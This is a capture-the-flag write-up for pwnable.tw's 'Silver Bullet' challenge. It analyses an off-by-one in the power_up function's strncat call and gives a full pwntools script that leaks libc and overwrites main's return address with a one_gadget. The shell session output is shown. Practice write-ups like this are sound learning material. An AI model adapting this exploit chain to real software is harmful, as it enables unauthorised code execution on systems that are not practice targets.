# Pwnable.tw - Silver Bullet #### Points: 200 #### Description ![](https://i.imgur.com/kMsbJpE.png) ## Analyzing the binary Basic file check and security protections: ```perl $ file silver_bullet silver_bullet: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter ./ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=8c95d92edf8bf47b6c9c450e882b7142bf656a92, not stripped $ checksec silver_bullet [*] '/home/lynklee/CTF_practice/pwnable.tw/silver_bullet/silver_bullet' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8047000) RUNPATH: b'.' ``` A 32-bit, full RELRO and NX-enabled binary. We can't push shellcode onto the stack or overwrite GOT. Let's see what's inside this. Here is the decompiled code: ```C int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax int v5; // [esp+0h] [ebp-3Ch] BYREF const char *v6; // [esp+4h] [ebp-38h] char s[48]; // [esp+8h] [ebp-34h] BYREF int v8; // [esp+38h] [ebp-4h] init_proc(); v8 = 0; memset(s, 0, sizeof(s)); v5 = 0x7FFFFFFF; v6 = "Gin"; while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); v3 = read_int(v5, v6); if ( v3 != 2 ) break; power_up(s); } if ( v3 > 2 ) break; if ( v3 != 1 ) goto LABEL_15; create_bullet(s); } if ( v3 == 3 ) break; if ( v3 == 4 ) { puts("Don't give up !"); exit(0); } LABEL_15: puts("Invalid choice"); } if ( beat((int)s, (int)&v5) ) return 0; puts("Give me more power !!"); } } ``` ```C int __cdecl create_bullet(char *s) { size_t v2; // [esp+0h] [ebp-4h] if ( *s ) return puts("You have been created the Bullet !"); printf("Give me your description of bullet :"); read_input(s, 0x30u); v2 = strlen(s); printf("Your power is : %u\n", v2); *((_DWORD *)s + 0xC) = v2; return puts("Good luck !!"); } ``` ```C int __cdecl power_up(char *dest) { char s[48]; // [esp+0h] [ebp-34h] BYREF size_t v3; // [esp+30h] [ebp-4h] v3 = 0; memset(s, 0, sizeof(s)); if ( !*dest ) return puts("You need create the bullet first !"); if ( *((_DWORD *)dest + 0xC) > 0x2Fu ) return puts("You can't power up any more !"); printf("Give me your another description of bullet :"); read_input(s, 0x30 - *((_DWORD *)dest + 0xC)); strncat(dest, s, 0x30 - *((_DWORD *)dest + 0xC)); v3 = strlen(s) + *((_DWORD *)dest + 0xC); printf("Your new power is : %u\n", v3); *((_DWORD *)dest + 0xC) = v3; return puts("Enjoy it !"); } ``` ```C int __cdecl beat(int a1, int a2) { int result; // eax if ( *(_BYTE *)a1 ) { puts(">----------- Werewolf -----------<"); printf(" + NAME : %s\n", *(const char **)(a2 + 4)); printf(" + HP : %d\n", *(_DWORD *)a2); puts(">--------------------------------<"); puts("Try to beat it ....."); usleep(0xF4240u); *(_DWORD *)a2 -= *(_DWORD *)(a1 + 0x30); if ( *(int *)a2 <= 0 ) { puts("Oh ! You win !!"); result = 1; } else { puts("Sorry ... It still alive !!"); result = 0; } } else { puts("You need create the bullet first !"); result = 0; } return result; } ``` There are 3 significant functions which needs taking into serious consideration: * `Create bullet` allows user to make the bullet and its equals to the length of the input string. * `Power up` checks size of the string, if it is less than 47, we will be able to upgrade our bullet, our string we input will be copied to the original string, using `strncat`. * `Beat` will compare the wolf's power to our bullet's, if it is greater, we lose and the program exits, otherwise we will exit while loop, continue executing in main. It seems simple, right? So let's spot the bug. ## Spotting the bug Here in the `power_up` function, these lines seem suspicious. ```C read_input(s, 0x30 - *((_DWORD *)dest + 0xC)); strncat(dest, s, 0x30 - *((_DWORD *)dest + 0xC)); ``` `s` is allocated 0x30 bytes, and read also allows to input 0x30 bytes. But the problem is in C, string is null-terminated. So what will happen if we enter exactly 0x30 bytes? Let's check in gdb. Our buffer before and after executing `strncat` ### Before ```perl pwndbg> x/20xw 0xffe138c4 0xffe138c4: 0x41414141 0x41414141 0x41414141 0x41414141 0xffe138d4: 0x41414141 0x41414141 0x41414141 0x41414141 0xffe138e4: 0x41414141 0x41414141 0x41414141 0x00414141 0xffe138f4: 0x0000002f 0x00000000 0xf7de9637 0x00000001 0xffe13904: 0xffe13994 0xffe1399c 0x00000000 0x00000000 ``` ### After ```perl pwndbg> x/20xw 0xffe138c4 0xffe138c4: 0x41414141 0x41414141 0x41414141 0x41414141 0xffe138d4: 0x41414141 0x41414141 0x41414141 0x41414141 0xffe138e4: 0x41414141 0x41414141 0x41414141 0x41414141 0xffe138f4: 0x00000000 0x00000000 0xf7de9637 0x00000001 0xffe13904: 0xffe13994 0xffe1399c 0x00000000 0x00000000 ``` The address `0xffe138f4` contains our original power, after reading 0x30 bytes, the `\x00` has been overwriten, making the original power reset to 1 &rarr; **Off-by-one**. With this bug, we are able to input one more time to change our power to 0xffffffff (whatever you write, make sure it will be greater than 0x7fffffff, which is the power of the wolf) and overwrite the return address of main, located at `0xffe138fc`. ## Exploit I use **Off-by-one** first to leak libc base, by choosing option `beat` to exit the while loop and reach the return address of `main`. After that spawning a shell by overwriting the return address to one-gadget. In regard to one_gadget, I choose this one: ```perl 0x5f065 execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL ``` ## Final script ```python from pwn import * e = context.binary = ELF("./silver_bullet", checksec = False) #r = e.process() r = remote("chall.pwnable.tw", 10103) context.log_level = 'debug' libc = ELF("libc.so.6", checksec = False) gs = """ b*0x08048873 b*power_up b*create_bullet b*beat """ #gdb.attach(r, gs) def choice(x): r.sendlineafter(b'Your choice :', str(x).encode()) def create(data): choice(1) r.sendafter(b'bullet :', data) def power(data): choice(2) r.sendafter(b'bullet :', data) def beat(): choice(3) create(b'A'*47) power(b'A') power(b'\xff' * 7 + p32(e.plt.puts) + p32(e.sym.main) + p32(e.got.puts)) beat() libc.address = u32(r.recvuntil(b'\xf7')[-4:]) - libc.sym.puts log.info(hex(libc.address)) one_gadget = libc.address + 0x5f065 payload = b'\xff' * 7 + p32(one_gadget) create(b'A'*47) power(b'A') power(payload) beat() sleep(1) r.interactive() ``` ```perl $ python3 x.py [+] Opening connection to chall.pwnable.tw on port 10103: Done [*] 0xf7602000 [*] Switching to interactive mode >----------- Werewolf -----------< + NAME : Gin + HP : 2147483647 >--------------------------------< Try to beat it ..... Oh ! You win !! $ whoami silver_bullet $ ls bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var $ cd /home/silver_bullet $ ls flag run.sh silver_bullet $ ``` **References:** https://www.exploit-db.com/docs/english/28478-linux-off-by-one-vulnerabilities.pdf